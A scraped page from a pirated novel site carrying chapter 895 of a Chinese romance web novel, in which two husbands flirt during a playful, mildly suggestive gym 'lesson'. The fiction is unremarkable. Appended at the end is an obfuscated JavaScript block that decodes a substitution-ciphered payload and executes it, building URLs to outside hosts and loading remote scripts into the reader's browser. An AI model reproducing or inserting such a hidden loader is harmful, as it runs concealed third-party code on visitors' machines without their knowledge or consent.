首页
第895章 健身指导教练
返回
关灯 护眼:关 字号:小

第895章 健身指导教练

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    送走了长命,夕阳的金辉正顺着落地窗往客厅里漫,尤金指尖无意识地摩挲着沙发的扶手,将心底那点按捺不住的急切悄悄压了下去。
    他望着远处被夕阳笼罩着的花园,耐心等着夜色漫上来。
    罗伊则早就没心思关注窗外的景致了。
    他半倚在沙发扶手上,目光像被磁石吸住似的黏在尤金身上,嘴角的笑意藏都藏不住。
    所有碍事的人都不在——朋友们被尤金突发的大马猴事件全都甩在了高卢,连总爱插在他们中间的纳赛尔也难得缺位,这简直是老天爷都在帮忙铺路。
    从载着长命的直升飞机消失在天空尽头开始,罗伊就开启了寸步不离的模式,
    尤金去储藏室把玩玩具,他会跟过去靠在门框上看;
    尤金和三只毛茸茸玩耍,他在一旁看着;
    尤金拿起书翻了两页,他就凑过去把脑袋搁在对方肩上,呼吸都带着笑意。
    “纳赛尔回来之前,这里就只有我们了。”罗伊忽然在尤金耳边轻声说,温热的气息拂过耳廓,高兴中又带着那么点心酸。
    在尤金身边,被外界称为时尚界大佬,被下属吐槽暴君的人物在爱人面前永远是阳光青年的模样。
    尤金好笑的侧头看他,正对上那双亮得像盛了星光的眼睛。
    他的心仿佛也受到了感染,化成了软乎乎的蜜糖,他笑着抬起手,捏着对方的下巴凑过来,给了他一个响亮的吻做答案。
    一时间,夫夫两个都挺乐呵。
    晚上,想去健身房消遣一会儿的罗伊舍不得离开自己的心肝,于是他热情的对尤金发出了邀请。
    “尤金,”他走过去蹲在沙发前,仰头望着爱人,“去看看我最近的健身成果好不好?毕竟我可是要在五月份,代替奥利维耶家族出战啊。”他笑眯眯给出建议。
    尤金打算摇头的动作顿住了。
    这是个大问题。
    奥利维耶家族的荣誉可是很重要哒,新晋卢瓦尔公爵的荣誉需要勇士们的捍卫!
    他矜持的点点头,“那就去视察一下吧。”
    罗伊立刻笑开了,伸手把沙发里懒洋洋的尤金拉了起来。
    两个人相携去了健身房。
    有心上人看着和没心上人看着的健身房,仿佛两个地方。
    往常罗伊来这里,不过是习惯性地消磨时间,可今天尤金站在旁边,连冰冷的器械仿佛都镀上了层暖意。
    罗伊礼貌的谢绝了健身教练的指导,并快速的将人请了出去。
    罗伊转身去更衣室换衣服,出来时穿了件黑色的紧身背心,勾勒出流畅的肩背线条,下身是条灰色的运动短裤,露出结实的小腿肌肉。
    尤金坐在旁边的休息凳上,原本漫不经心地转着手里的运动水杯,目光却不由自主地被吸引了过去。
    尤金的状态如何,被关注的对象自然拥有绝对的发言权。
    罗伊的笑容掩都掩不住。
    “尤金,你来摸一下,卧推的发力模式不同,锻炼的部位也是不同的。”
    他热情的招呼着眼神盯着发力部位拔都拔不出来的爱人,要给他亲自解释该如何标准的做好这个动作。
    尤金没忍受住诱惑,飘飘然的顺着招呼上前。
    难得罗伊能闲下来的日子,难得两人的二人世界,他自然也是打算发生点什么的。
    想想大概已经被送进卧室的床头小黄漫。
    现在这会儿嘛,也不失为一个不错的游戏。
    这样想着,他乖乖的上前,认真的在热心肠的教练要求下,把手放上去,感受着手下因为健身部位不同,而截然不同的发力部位。
    “这样平推,锻炼到的主要部位就是胸大肌。”教练严肃的进行着健身教学。
    “你来感受一下,胸大肌发力的感觉。”教练让学生亲自上手,认真的感受了一下这个动作做标准之后,肌群正确发力是什么样子。
    尤金严肃着脸,认真点头。
    “好的,教练。”
    罗伊认真的看着肃容学习的尤金,用最标准的姿势做了一组平推动作。
    尤金惊叹不已,“好大!不是、我是说,好标准的动作!”
    平推运动果然有效果。
    在运动中感受胸大肌发力,比日常用手臂丈量,让人有着比以往更清晰的感知。
    毕竟虽然不能说是天天,但也三不五时的靠着这里睡觉,尤金对于罗伊锻炼的成果其实认知并不是特别准确。
    只有在这个时候,他才更直观的感受到了罗伊对捍卫奥利维耶家族荣誉的渴望。
    被尤金毫不做作的夸奖夸的差点岔气的罗伊……
    他轻咳了一声,握住胸前的手,阻止它的离开。
    他觉得,这手拥有一种魔力。
    它的存在,让枯燥的训练变的让人欲罢不能。
    尤金好奇的看着阻止他离开的罗伊。
    罗伊微笑,“卧推这个动作对我们是很有好处的。它不光可以锻炼我们的胸大肌,如果你向上斜推,它可以更好的锻炼我们胸肌上部的位置。
    你把手往上挪一下,就能清楚的感受到它的发力点。”
    “健身房小白”捧场的惊叹,“竟然是这样的吗?我试试看!”
    他的手缓缓的、缓缓的从胸大肌摸索到了上部的位置,不确定的按了按,“是这里吗?”
    罗伊闷哼一声,笑容从脸上消失了。
    他的眼睛直直的盯着好学的迷糊学员,沙哑了声音说,“很好,就是这里!
    我示范一下标准动作,你要好好的感受一下它的发力要点。”
    尤金也严肃的抿紧了唇,“教练你生病了吗?嗓子有些哑。你稍微示范一下就好,我会认真学的。”他体贴的说道。
    罗伊有些欣慰的点点头,然后,认真的亲自给学员演示了一遍,该如何正确的发力,才能锻炼到这个部位。
    尤金受教的摸了又摸,若有所得,连连受教点头。
    不过很快,他又面露沮丧。
    罗伊见状,疑惑道,“你还好吗,尤金?”
    尤金摇摇头,“不太好。我有些笨,记不住怎么办?”
    罗伊释然,“不要紧,如果你需要,我随时乐意为你解惑,贴身指导。”
    尤金于是又放心的笑了开来。把手缓缓挪移到了胸大肌下方,“我知道了,上移的动作是锻炼胸大肌上方部位,那下移自然是锻炼到下方部位是吗?”
    手掌无意中磨过什么,身下的教练像条脱水的鱼儿一样弹动了一下。
    尤金的手僵在了当场,很快又把手挪到了对方的心房,感受着对方的心跳,“天啊,教练,你没事吧?你的心跳好快!”
    罗伊按住尤金关心则乱的手,闭了闭眼睛,忍过了那一阵感觉,将那手用重新挪到了胸大肌的下方,然后认真道,“没事,我们继续教学。”
    尤金感受着手下微微发力的肌群,严肃着脸点点头。
    “如果有需要,请一定要告诉我,我学过一些急救知识,可以为你做人工呼吸。”
    罗伊感激的道谢,认认真真的完成了自己的健身教学。
    尤金于是学会了使用卧推器械锻炼胸部肌群的三个小妙招。
    不过虽然欣喜于自己学会的招式,尤金到底还是担心教练的健康问题,对他今晚的状况担忧不已,催着他回房间好好休息。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();